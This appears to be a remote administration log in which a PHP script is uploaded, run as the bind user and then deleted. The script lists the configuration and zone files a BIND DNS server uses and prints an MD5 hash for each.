MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:33:56: Establishing a connection
2026-04-30 16:33:57: 

PUT: /tmp/pkp188675

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:33:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp188675; rm /tmp/pkp188675'

2026-04-30 16:33:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:35:12: Establishing a connection
2026-04-30 16:35:12: 

PUT: /tmp/pkp775198

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:35:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp775198; rm /tmp/pkp775198'

2026-04-30 16:35:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
